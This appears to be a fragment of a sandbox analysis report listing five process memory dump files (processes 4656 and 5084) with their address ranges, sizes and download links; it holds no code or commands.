memory/4656-165-0x0000000000210000-0x000000000037C000-memory.dmp

Filesize
1.4MB

Download
memory/4656-170-0x0000000004C00000-0x0000000004C92000-memory.dmp

Filesize
584KB

Download
memory/5084-192-0x000001BEEFDC0000-0x000001BEEFDE2000-memory.dmp

Filesize
136KB

Download
memory/5084-194-0x00007FF98F140000-0x00007FF98FC01000-memory.dmp

Filesize
10.8MB

Download
memory/5084-195-0x00007FF98F140000-0x00007FF98FC01000-memory.dmp

Filesize
10.8MB

Download